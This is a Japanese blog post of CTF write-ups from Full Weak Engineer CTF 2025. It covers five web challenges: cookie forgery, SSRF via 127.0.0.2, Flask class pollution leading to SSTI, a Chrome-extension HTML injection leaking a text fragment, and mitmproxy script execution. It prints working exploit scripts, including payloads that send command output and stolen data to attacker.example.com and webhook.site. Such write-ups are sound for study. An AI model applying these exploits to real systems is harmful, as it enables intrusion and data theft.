st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

Full Weak Engineer CTF 2025 writeup

8/29 - 8/31という日程で開催された。BunkyoWesternsで参加して1位🥇 snakeCTF 2025 Qualsと被っておりどうしようかという感じだったけれども、あちらは24時間でこちらは48時間ということで、あちらを優先しつつ、終わり次第こちらに取り組むという参加の仕方だった。疲れた。


[Web 100] regex-auth (450 solves)

正規表現で認可制御をしてみました!

I tried implementing authorization control with regular expressions!

添付ファイル: regex-auth.zip

Author: t-chen

好きなユーザ名でログインできるアプリが与えられている。

コードの全体は次の通り。まず気になるのが /dashboard で、どうやらユーザIDが user でも guest でも始まっていない場合には、ロール名としてフラグが与えられるらしい。このユーザIDは uid というCookieに含まれており、本当にそれが存在しているかどうかは確認されていない。じゃあ、適当なユーザIDを仕込めばよいのではないか。

from flask import Flask, request, redirect, make_response, render_template_string
import base64, os, re, random

app = Flask(__name__)
FLAG = os.getenv("FLAG", "fwectf{dummy}")

USERS = [
    "admin",
    "user",
    "asusn"
]

login_page = """
<!doctype html>
<title>Login</title>
<h1>Login</h1>
<form method="post">
  Username: <input type="text" name="username"><br>
  <input type="submit" value="Login">
</form>
"""

dashboard_page = """
<!doctype html>
<title>Dashboard</title>
<h1>Welcome, {{user}}!</h1>
<p>Your ID: {{uid}}</p>
<p>Your role: {{role}}</p>
<a href="/logout">Logout</a>
"""

@app.route("/", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")

        if username in USERS:
            user_id = f"user_{random.randint(10000, 99999)}"
        else:
            user_id = f"guest_{random.randint(10000, 99999)}"

        uid = base64.b64encode(user_id.encode()).decode()

        resp = make_response(redirect("/dashboard"))
        resp.set_cookie("username", username)
        resp.set_cookie("uid", uid)
        return resp

    return render_template_string(login_page)

@app.route("/dashboard")
def dashboard():
    username = request.cookies.get("username")
    uid = request.cookies.get("uid")

    if not username or not uid:
        return redirect("/")

    try:
        user_id = base64.b64decode(uid).decode()
    except Exception:
        return redirect("/")

    if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE): 
        role = f"{FLAG}"
    else:
        role = "OTHER"

    return render_template_string(dashboard_page, user=username, uid=user_id, role=role)

@app.route("/logout")
def logout():
    resp = make_response(redirect("/"))
    resp.delete_cookie("username")
    resp.delete_cookie("uid")
    return resp


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

適当に、AA== のようにBase64として有効な文字列をCookieの uid に仕込む。このまま /dashboard にアクセスするとフラグが得られた。

fwectf{emp7y_regex_m47che5_every7h1ng}

[Web 127] AED (232 solves)

Revive this broken heart!

添付ファイル: fwectf_AED.zip

Author: t-chen

謎の文字列を出力し続けるアプリが与えられる。

長くてあまり読みたくないけれども、コードは次の通り。特筆すべき点として、appapp2 という2つのサーバが立ち上がっているという点がある。前者は 3000/tcp でリッスンしており、外部からもアクセスできるが、後者は 4000/tcp でリッスンしており、外部からはアクセスできない。

app2/toggle にさえアクセスできればフラグが出力されるようになるが、今述べたようにこれは外部からアクセスできない。app/fetch は、指定したURLにまさに fetch によってHTTPリクエストを送り、そのレスポンスを返してくれるようになっているが、残念ながら app2 にはアクセスできないように、フィルターがある。

import { Hono } from "hono"
import { getCookie, setCookie } from "hono/cookie"
import crypto from "crypto"

const app = new Hono()
const app2 = new Hono()

const FLAG = process.env.FLAG ?? "fwectf{You_Won!_Sample_Flag}"
const DUMMY = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}"
const FLAG_LEN = FLAG.length

let pwned = false

type Session = { idx: number }
const sessions = new Map<string, Session>()
const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)
const PAGE = `…`;

const getSid = (c: any) => {
  let sid = getCookie(c, "sid")
  if (!sid) {
    sid = crypto.randomUUID()
    setCookie(c, "sid", sid, { httpOnly: true, secure: true, sameSite: "Lax", path: "/" })
  }
  return sid
}

const getSession = (sid: string) => {
  let s = sessions.get(sid)
  if (!s) {
    s = { idx: -1 }
    sessions.set(sid, s)
  }
  return s
}

app.get('/favicon.ico', () => {
  const file = Bun.file('./public/favicon.ico')
  return new Response(file, {
    headers: {
      'Content-Type': 'image/x-icon',
      'Cache-Control': 'public, max-age=31536000, immutable',
    },
  })
})

app.use("*", (c, next) => {
  c.set("sid", getSid(c))
  return next()
})

app.get("/", c => {
  getSession(c.get("sid")).idx = -1
  return c.html(PAGE)
})

app.get("/heartbeat", c => {
  const s = getSession(c.get("sid"))
  if (!pwned) {
    const char = DUMMY[Math.floor(Math.random() * DUMMY.length)]
    return c.json({ pwned: false, char })
  }
  if (s.idx === -1) s.idx = 0
  const pos = s.idx
  const char = FLAG[pos]
  s.idx = (s.idx + 1) % FLAG_LEN
  return c.json({ pwned: true, char, pos, len: FLAG_LEN })
})

app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})

app.get("/fetch", async c => {
  const raw = c.req.query("url")
  if (!raw) return c.text("missing url", 400)
  let u: URL
  try {
    u = new URL(raw)
  } catch {
    return c.text("bad url", 400)
  }
  if (!isAllowedURL(u)) return c.text("forbidden", 403)
  const r = await fetch(u.toString(), { redirect: "manual" }).catch(() => null)
  if (!r) return c.text("upstream error", 502)
  if (r.status >= 300 && r.status < 400) return c.text("redirect blocked", 403)
  return c.text(await r.text())
})

const handler = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app.fetch(req, { REMOTE_ADDR: ip })
}

const handler2 = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app2.fetch(req, { REMOTE_ADDR: ip })
}

Bun.serve({ port: 3000, reusePort: true, fetch: handler })
Bun.serve({ port: 4000, reusePort: true, fetch: handler2 })
console.log(`Started server: http://localhost:3000`)

app/fetch に存在するフィルターをバイパスできないか考える。ホスト名が localhost, 0.0.0.0, 127.0.0.1 であればダメらしい。ループバックアドレスは 127.0.0.0/8 なので、127.0.0.2 も利用可能だし、このフィルターもバイパスできるだろう。

const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)

/fetch?url=http://127.0.0.2:4000/toggle にアクセスすると、フラグが出力されるようになった。

fwectf{7h3_fu11_w34k_h34r7_l1v3d_4g41n}

[Web 454] Personal Website (11 solves)

I made a customizable website (TODO: add more options)

添付ファイル: private_website.zip

Author: t-chen

ユーザ登録してログインすると、なんかいい感じに設定が編集できるようになるWebアプリが与えられている。

Dockerfile の内容は次の通り。/readflag を実行するのがこの問題のゴールなのだなあとわかる。RCEやOSコマンドインジェクションに持ち込みたいところ。

FROM python:3.13.6-slim-bookworm

RUN groupadd -g 1001 app && \
    useradd -m -s /bin/bash -u 1001 -g 1001 app

RUN apt-get update && apt-get install -y gcc

COPY readflag.c readflag.c
RUN gcc -o readflag readflag.c && rm readflag.c
RUN chmod 4555 readflag

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
RUN chmod -R 777 /app

ENTRYPOINT ["/app/entrypoint.sh"]
CMD flask run --host=0.0.0.0 --port=${PORT}

app.py の一部は次の通り。FlaskでのRCEといえば、SECRET_KEY のリークからの pickle でシリアライズしたペイロードを仕込むという流れがよくあるけれども、まず SECRET_KEY はランダムであることがわかる。先ほど言及した設定の編集は /api/config で行われるけれども、User.merge_info という関数で実行しているとわかる。

from typing import TypeVar, Callable
from flask import (
    Flask,
    flash,
    redirect,
    render_template,
    session,
    request,
    url_for,
    jsonify,
    g,
)
from functools import wraps
import os
import logging


from user import User

app = Flask(__name__, template_folder="./")
app.secret_key = os.urandom(32)
log_handler = logging.FileHandler("flask.log")
app.logger.addHandler(log_handler)

REGISTER_TEMPLATE = "templates/register.html"
LOGIN_TEMPLATE = "templates/login.html"
INDEX_TEMPLATE = "templates/index.html"
CONFIG_TEMPLATE = "templates/config.html"

# …

@app.post("/api/config")
@login_required
def config_api():
    try:
        if not request.json:
            raise Exception("Input is empty")
        User.merge_info(request.json, g.get("user"))
        return jsonify({"success": "Config updated"})
    except Exception as e:
        return jsonify({"error": str(e)})


@app.get("/config")
@login_required
def config():
    return render_template(CONFIG_TEMPLATE)


@app.route("/")
@login_required
def index():
    return render_template(INDEX_TEMPLATE)

# …

User の実装が丸々含まれている user.py は次の通り。merge_info がめちゃくちゃ怪しい見た目をしている。4階層までしか辿れないという制限付きではあるけれども、__globals__ 等の属性を辿っていけばグローバル変数にアクセスできるだろうし、それの書き換えもできるだろう。ただ、ここでできるのは書き換えだけで、属性等の読み出しはできないということに注意したい。

from __future__ import annotations
import dataclasses
from werkzeug.security import generate_password_hash, check_password_hash

users: dict[str,User] = {}


# TODO: Increase more options
@dataclasses.dataclass
class Config:
    mode: str = 'light'

@dataclasses.dataclass
class User:
    username: str
    password: str
    config: Config
    
    @staticmethod
    def merge_info(src, user, *, depth=0):
        if depth > 3:
            raise Exception("Reached maximum depth")
        for k, v in src.items():
            if hasattr(user, "__getitem__"):
                if user.get(k) and type(v) == dict:
                    User.merge_info(v, user.get(k),depth=depth+1)
                else:
                    user[k] = v
            elif hasattr(user, k) and type(v) == dict:
                User.merge_info(v, getattr(user, k),depth=depth+1)
            else:
                setattr(user, k, v)
                
    @staticmethod
    def create(username: str, password: str):
        if username in users:
            raise Exception("The user already exist")
        user = User(username, generate_password_hash(password), Config())
        users[username] = user
        return user

    @staticmethod
    def verify(username: str, password: str):
        if username not in users:
            raise Exception("The user doesn't exist")
        user = users[username]
        if not check_password_hash(user.password, password):
            raise Exception("Wrong password")
        return
    
    @staticmethod
    def get(username: str):
        if username not in users:
            raise Exception("The user doesn't exist")
        return users[username]

まずは depth による制限をなんとかしたい。ここで depth=0 のようにデフォルト値が設定されているけれども、実は各関数はこのようなデフォルト値を __defaults____kwdefaults__ に保存している。これを書き換えることもできてしまう。ということで、まず次のようなJSONを投げることで、depth のデフォルト値を -100 にでき、実質無制限に属性等を遡っていくことができるようになった。

    r = client.post('/api/config', json={
        'merge_info': {
            '__kwdefaults__': {
                'depth': -100
            }
        }
    })
    print(r.text)

RCEに持ち込むためになにを書き換えればよいか。そういえば、GET したときに表示されるHTMLは、次のように変数で指定されたパスを render_template して生成されているのだった。この CONFIG_TEMPLATE 等の変数を、ユーザがその内容を操作できるようなファイルのパスに差し替えればよいのではないか。

@app.get("/config")
@login_required
def config():
    return render_template(CONFIG_TEMPLATE)

ここでどのパスを参照するか。ありがたいことに、テンプレートのファイルが保存されているディレクトリとして、 templates/ でなくカレントディレクトリが指定されている。カレントディレクトリには flask.log というファイルもあり、ここに様々なログが保存される。{{7*7}} のように一部テンプレートとして解釈できるようなエラーをわざと(たとえば存在しないファイルをテンプレートとして参照させることで)発生させ、flask.log に含ませた上で、これをテンプレートとして読み込ませればよいだろう。あとはServer-Side Template Injection(SSTI)の要領でRCEに持ち込める。

app = Flask(__name__, template_folder="./")
# …
log_handler = logging.FileHandler("flask.log")

ということで、次のようなexploitができあがった。

import uuid
import httpx
u, p = str(uuid.uuid4()), str(uuid.uuid4())

TARGET = 'http://localhost:8080/'

with httpx.Client(base_url=TARGET) as client:
    # とりあえず登録・ログイン
    client.post('/register', data={
        'username': u,
        'password': p
    })
    client.post('/login', data={
        'username': u,
        'password': p
    })

    # merge_infoのデフォルト値を書き換えて、実質無限に属性等を遡れるようにする
    r = client.post('/api/config', json={
        'merge_info': {
            '__kwdefaults__': {
                'depth': -100
            }
        }
    })
    print(r.text)

    # わざと存在しないテンプレートにアクセスさせることで、
    # SSTIで/readflagを実行するようなペイロードをflask.logに仕込む
    payload1 = '''{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('subprocess').check_output('/readflag')}}{%endif%}{% endfor %}'''
    r = client.post('/api/config', json={
        'config': {
            '__init__': {
                '__builtins__': {
                    'help': {
                        '__repr__': {
                            '__globals__': {
                                'sys': {
                                    'modules': {
                                        'app': {
                                            'REGISTER_TEMPLATE': payload1,
                                            'LOGIN_TEMPLATE': payload1,
                                            'INDEX_TEMPLATE': payload1,
                                            'CONFIG_TEMPLATE': payload1
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    })
    print(r.text)

    # これでエラーが発生し、flask.logに書き込まれる
    client.get('/')

    # テンプレートのパスを./flask.logに書き換える
    payload2 = './flask.log'
    r = client.post('/api/config', json={
        'config': {
            '__init__': {
                '__builtins__': {
                    'help': {
                        '__repr__': {
                            '__globals__': {
                                'sys': {
                                    'modules': {
                                        'app': {
                                            'REGISTER_TEMPLATE': payload2,
                                            'LOGIN_TEMPLATE': payload2,
                                            'INDEX_TEMPLATE': payload2,
                                            'CONFIG_TEMPLATE': payload2
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    })
    print(r.text)

with httpx.Client(base_url=TARGET) as client:
    # GO!
    r = client.get('/login')
    print(r)
    print(repr(r.text))

実行するとフラグが得られた。

$ python3 solve.py
…
'Exception on / [GET]\nTraceback (most recent call last):\n  File "/usr/local/lib/python3.13/site-packages/flask/app.py", line 1511, in wsgi_app\n    response = self.full_dispatch_request()\n  File "/usr/local/lib/python3.13/site-packages/flask/app.py", line 919, in full_dispatch_request\n    rv = self.handle_user_exception(e)\n  File "/usr/local/lib/python3.13/site-packages/flask/app.py", line 917, in full_dispatch_request\n    rv = self.dispatch_request()\n...\n  File "/usr/local/lib/python3.13/site-packages/flask/templating.py", line 99, in _get_source_fast\n    raise TemplateNotFound(template)\njinja2.exceptions.TemplateNotFound: b\'fwectf{__m3R6e_H4_MAj1_Kik3N__067acad3f6c6485bac5a3915dfdee158}\''
fwectf{__m3R6e_H4_MAj1_Kik3N__067acad3f6c6485bac5a3915dfdee158}

ここでsolve数の崖ができていて面白かった。こういうClass Pollution(Prototype Pollutionとは言いたくない)は初めてだったので勉強になった。ハード版も出題されていたが、shelveのgadgetを探しているうちにCTFが終了し撃沈。shelve.DEFAULT_PROTOCOL_compat_pickle.REVERSE_IMPORT_MAPPING、へー。

[Web 468] Browser Memo Pad (8 solves)

Chrome拡張機能を作ってみました!ぜひ使ってください!

I created a Chrome extension! Please give it a try!

添付ファイル: browser-memo-pad.zip

Author: Alphe

添付ファイルを展開すると、問題文で示されている拡張機能と、それを利用するbotのコードだけが含まれていた。まずはどんな拡張機能か見ていこう。これはWebサイトのテキストをメモできるもので、適当なテキストを選択すると、次のように保存用のボタンが表示される。

Save ボタンを押すとテキストが保存される。保存されたテキストはポップアップから閲覧でき、次のようにどのWebサイトから保存されたかがわかるようになっている。また、リンクをクリックすると https://example.com/#:~:text=s%20for… のように、テキストフラグメントを利用してそのサイトのどこからそのテキストが抽出されたかがわかる状態で、そのURLにアクセスできる。

botの処理は次の通り。Puppeteerを利用している。まず http://localhost:1337/ にアクセスして、(実際にはそのサイトにはフラグは含まれていないが)フラグをそのテキストとしてメモを保存している。そして、ユーザが通報したURLにアクセスする。それから、この拡張機能のポップアップを開き、最後に追加されたメモのリンクをクリックする。

なるほど、最初にフラグを含むメモが保存されるから、それをなんとかしてリークしろという話らしい。

    const page1 = await browser.newPage();
    await page1.goto(`http://localhost:1337/`, { timeout: 3000 });
    await page1.waitForSelector('meta[memopad-extensionId]', { timeout: 3000 });
    await page1.evaluate((flag) => {
      window.postMessage({type: "create", payload: flag});
    }, FLAG);
    const extensionId = await page1.evaluate('document.querySelector("meta[memopad-extensionId]").getAttribute("memopad-extensionId")')

    await page1.goto(url, { timeout: 5000 });
    await sleep(5000);

    await page1.goto(`chrome-extension://${extensionId}/popup.html`, { timeout: 5000 });
    await page1.waitForSelector('.memo-url', { timeout: 3000 });
    const els = await page1.$$('.memo-url');
    await els[els.length - 1].click();
    await sleep(5000);
    await page1.close();

次は拡張機能のコードを見ていこう。まずContent Scriptのコードから一部を抜粋する。優しいことに、botでも簡単に拡張機能を利用できるよう、window.postMessage({type: "create", payload: "poyopoyo"}); のように postMessage でメモを追加できるようになっている。これはexploitを書く際にも役立ちそうだ。

// API for the bot
window.addEventListener("message", (event) => {
    if (event.source !== window) return;
    if (event.data?.type === "create") {
        create(event.data.payload);
    }
});

重要なポップアップの処理を見ていく。まず、すでに存在しているメモの描画が行われるのだけれども、ここでメモの内容がエスケープされておらず、明らかにHTML Injectionができる。じゃあXSSで終わりじゃんと思ってしまうが、残念ながら manifest.json を見ると content_security_policyscript-src 'self' という値が指定されており、このCSPのためにポップアップのコンテキストでは任意のJSコードが実行できないとわかる。悲しい。

ただ、script-src 以外は特に制限がないわけだから、CSS Injectionや、単純にHTMLで暴れるだけであれば可能であるともわかる。

        // Insert the generated HTML into the memo list element
        let html = '';
        memos.forEach((memo, index) => {
            html += `
                <div class="memo-item" data-index="${index}">
                    <div class="memo-content">${memo.text}</div>
                    <div class="memo-meta">
                        📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                        🕒 <span class="memo-time">${memo.timestamp}</span>
                    </div>
                    <button class="delete-btn" data-id="${index}">🗑️</button>
                </div>
            `;
        });
        memoList.innerHTML = html;

リンクのクリック時の処理は次の通り。先ほどのHTML時点ですでに <a> タグは作られていたわけだけれども、そういえばテキストフラグメントは含まれていなかった。ここで動的に追加しているらしい。先祖に memo-item という class 属性を持つ div 要素がおり、こいつが data-index という属性でメモのIDを持っているから、それを参照して対応するメモの内容を取得している。そして、それをテキストフラグメントとしてくっつけ、chrome.tabs.create で新しいタブとして開いている。なるほどなあ。

        // View the website from which the memo was saved
        const links = memoList.querySelectorAll('.memo-url');
        links.forEach(link => {
            link.addEventListener('click', function (e) {
                e.preventDefault();

                const dataIndex = link.closest('.memo-item')?.dataset.index;
                if (dataIndex === undefined) return;

                chrome.storage.local.get('memos', ({ memos = [] }) => {
                    const memo = memos[+dataIndex];
                    if (!memo) return;

                    const url = link.href.split('#')[0];
                    if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                        console.error('invalid url');
                        return;
                    }
                    const encodedText = encodeURIComponent(memo.text);
                    const urlWithFragment = `${url}#:~:text=${encodedText}`;

                    chrome.tabs.create({ url: urlWithFragment });
                });
            });
        });

まずCSS Injectionによるフラグの抽出を考えたが、今回はテキストノードにしかフラグが含まれないのでちょっと面倒くさい。属性値に含まれていれば a[href*="fwe"] { url(…) } みたいな感じで簡単にリークできるのだけれども、テキストノードとなるとフォントを使うテクが必要になり手間がかかる。Fontleakのようなツールの助けも得つつCSS Injectionで…と思ったが、嫌になってしまった。

ちゃんとコードを読み直すことにした。メモのリンクをクリックした際にテキストフラグメントを追加する処理が怪しいことに気づく。なぜ、parentElement 等を使えば済むところ、わざわざ link.closest('.memo-item') で要素を探しているのだろうか。

        const links = memoList.querySelectorAll('.memo-url');
        links.forEach(link => {
            link.addEventListener('click', function (e) {
                e.preventDefault();

                const dataIndex = link.closest('.memo-item')?.dataset.index;
                if (dataIndex === undefined) return;

ふと、これを利用して、<div class="memo-item" data-index="0"><a class="memo-url" href="http://attacker.example.com">poyo</a></div> というようなHTMLを仕込むことで、リンク先は攻撃者のものでありつつも、そのクリック時に付与されるテキストフラグメントはメモの 0 番目、つまりフラグになるようなリンクが作れるのではないかと考えた。

実際その通りだったのだけれども、肝心のテキストフラグメントからフラグを盗み取ろうにも、location.hreflocation.hash から読み取れず困った。雑に "javascript get content of text fragments" で検索してみると、performance.getEntriesByType("navigation")[0].name からテキストフラグメントが含まれたままのURLが得られるというStackOverflowの回答が見つかった。これだ。

ということで、次のような2ファイルからなるexploitができあがった。

exp1.html

<script>
window.addEventListener('load', () => {
    window.postMessage({type: "create", payload: `
        <div class="memo-item" data-index="0"><a class="memo-url" href="http://attacker.example.com/exp2.html">poyo</a></div><div a='
    `});
});
</script>

exp2.html

<body>
<script>
const sttf = performance.getEntriesByType("navigation")[0].name;
(new Image).src = 'log.php?' + encodeURIComponent(sttf);
</script>
</body>

前者をbotに通報すると、フラグが得られた。

fwectf{3xt3n510n_15_4774ck_5urf4c3}

了解!

[Web 500] Weakness in the Middle (1 solves)

That name is way too sus for just a proxy application, isn't it?

The instance will shut down after 3 minutes.

添付ファイル: witm.zip

Author: t-chen

以下のような Dockerfile が与えられている。まず、ゴールは /readflag を実行することだとわかる。プロキシツールであるところの mitmproxy が立ち上がっているらしい。プロキシは 8080/tcp で、またキャプチャされた通信等は 8081/tcp からWebのUIを使って確認できるのだけれども、docker-compose.yml を見ると前者しか外部から直接アクセスできないことがわかる。

FROM mitmproxy/mitmproxy:12.1.1

RUN groupadd -g 1001 app && \
    useradd -m -s /bin/bash -u 1001 -g 1001 app

RUN apt-get update && apt-get install -y gcc

COPY . .
RUN gcc -o readflag readflag.c && rm readflag.c
RUN chmod 4555 readflag
RUN chmod +x entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]
CMD ["mitmweb", "--listen-host","0.0.0.0", "--set","block_global=false", "--set","web_password=this_is_the_same_in_remote"]

プロキシもWeb UIも同じホストで立ち上がっているので、プロキシを通して 127.0.0.1:8081 にアクセスすればよい。適切な設定をするとWeb UIを確認できた。

さて、ゴールは任意のOSコマンドを実行してその結果を得られるようになることだけれども、mitmproxyは当然ながら様々な機能を持っており、選択肢が多すぎる。mitmwebから操作できる範囲だと、様々なmitmproxy独自のコマンドを実行できるし、

Edit Options からこれまた数多くのオプションを設定できるようになっている。

まずコマンドを眺めていると、export.file というコマンドを見つけた。これは指定した通信をファイルに出力できるもので、オプションとしてどのフォーマット(生でHTTPリクエスト/レスポンスを出力するか、curl で実行可能な形にするか等を指定できる)で表現するか、どの通信を出力するか、どこに出力するかを指定できる。

これでmitmproxyのコード等を書き換えられればよいのだけれども、残念ながら基本的にどのファイルも root が所有しており、mitmproxyを実行しているのは app という一般ユーザなのでできない。/tmp/ 下になにか書き込むぐらいだろうか。

方針に困ったので、しばらく別の問題やsnakeCTFを見た後に帰ってくる。オプションやコマンドを眺めていると、script.run という大変に怪しいコマンドを見つけた。コードを読むと、指定したパスにあるPythonコードを実行している様子がわかる。これだ。

先程の export.file と組み合わせて、Pythonスクリプトとして有効なHTTPリクエストとレスポンスの組み合わせを作り、それを /tmp/exp.py に出力して script.run で実行すればよいのではないか、というアイデアを思いつく。

では、HTTPリクエスト/レスポンスとPythonスクリプトのpolyglotはどうやって作ればよいか。mitmproxyのrawフォーマットは次のように表現されるわけだけれども、まず1行目のリクエストラインから困る。このままでも一応文法上は問題ない(割り算と解釈できる)のだけれども、GETHTTP も存在しない変数だから、実行時にエラーが出てしまう。

幸いにも、# のようなとんでもないメソッドであっても、mitmproxyはちゃんと通してHTTPリクエストをリレーしてくれたし、記録してくれる。これで # / HTTP/1.1 のようになって、1行目はコメントアウトできる。

GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Content-Length: …
…

では、2行目以降をどうするか。これは 'a: 123',''' のようなヘッダをリクエストに仕込んでやれば、そこから次に ''' が出現するまでを文字列にできる。レスポンスで対応する ''' を仕込んで閉じてやればよい。このようにして、次のようにPythonコードとして解釈可能なHTTPリクエスト/レスポンスの組み合わせができあがる。

# / HTTP/1.1
'a: 123','''
Host: example.com



HTTP/1.1 200 OK
Content-Length: …

'''
print(123)

ということで、解くためのコードを書いていく。まず上述のような特殊なHTTPレスポンスを返すHTTPサーバを作る必要がある。# のような妙なメソッドを受け入れるようなサーバはまずないだろうから、雑に固定のレスポンスを返すサーバを自分で作ろう。面倒なのでClaudeに書かせた。

import socket
import threading

def handle_client(client_socket, client_address):
    """クライアント接続を処理する関数"""
    try:
        print(f"接続されました: {client_address}")

        # クライアントにレスポンスを送信
        p = """'''\nimport subprocess\nimport urllib.request\nr = subprocess.check_output(['/readflag'])\nurllib.request.urlopen('https://webhook.site/(省略)?'+r.decode())\n"""
        client_socket.send(f"""HTTP/1.1 200 OK\r\nContent-Length: {len(p)}\r\n\r\n{p}""".encode())

    except Exception as e:
        print(f"エラーが発生しました: {e}")
    finally:
        # 接続を閉じる
        client_socket.close()
        print(f"接続を閉じました: {client_address}")

def start_server():
    """TCPサーバを開始する関数"""
    # ソケットを作成
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # アドレスの再利用を許可(サーバ再起動時の便利性のため)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        # サーバをバインド
        server_socket.bind(('0.0.0.0', 8000))

        # 接続待機を開始
        server_socket.listen(5)
        print("サーバが8080番ポートで起動しました...")
        print("Ctrl+C で終了します")

        while True:
            # クライアントからの接続を待機
            client_socket, client_address = server_socket.accept()

            # 各クライアントを別スレッドで処理
            client_thread = threading.Thread(
                target=handle_client,
                args=(client_socket, client_address)
            )
            client_thread.daemon = True
            client_thread.start()

    except KeyboardInterrupt:
        print("\nサーバを停止中...")
    except Exception as e:
        print(f"サーバエラー: {e}")
    finally:
        server_socket.close()
        print("サーバが停止しました")

if __name__ == "__main__":
    start_server()

これを起動した上で、echo -en "# http://attacker.example.com:8000 HTTP/1.0\r\n'a:=123','''\r\nHost: poyo\r\n\r\n" | nc localhost 8080 を実行する。これでmitmproxyにおかしなHTTPリクエストとレスポンスが記録された。

mitmproxyのWeb UIを開き、当該HTTPリクエスト/レスポンスをマークした上で、export.file raw @marked /tmp/exp.py でその内容を /tmp/exp.py に出力させる。次のような「Pythonコード」ができあがる。

root@d546a848197e:/tmp# cat poya
# / HTTP/1.0
'a:=123','''
Host: poyo



HTTP/1.1 200 OK
Content-Length: 183

'''
import subprocess
import urllib.request
r = subprocess.check_output(['/readflag'])
urllib.request.urlopen('https://webhook.site/(省略)?'+r.decode())

script.run @focus /tmp/exp で実行し、/readflag の実行結果を外部に投げさせることができた。

fwectf{m17m_4774ck_15_unr31473d_LOL}

first bloodだったし、その後もほかのチームに解かれることがなくてよかった。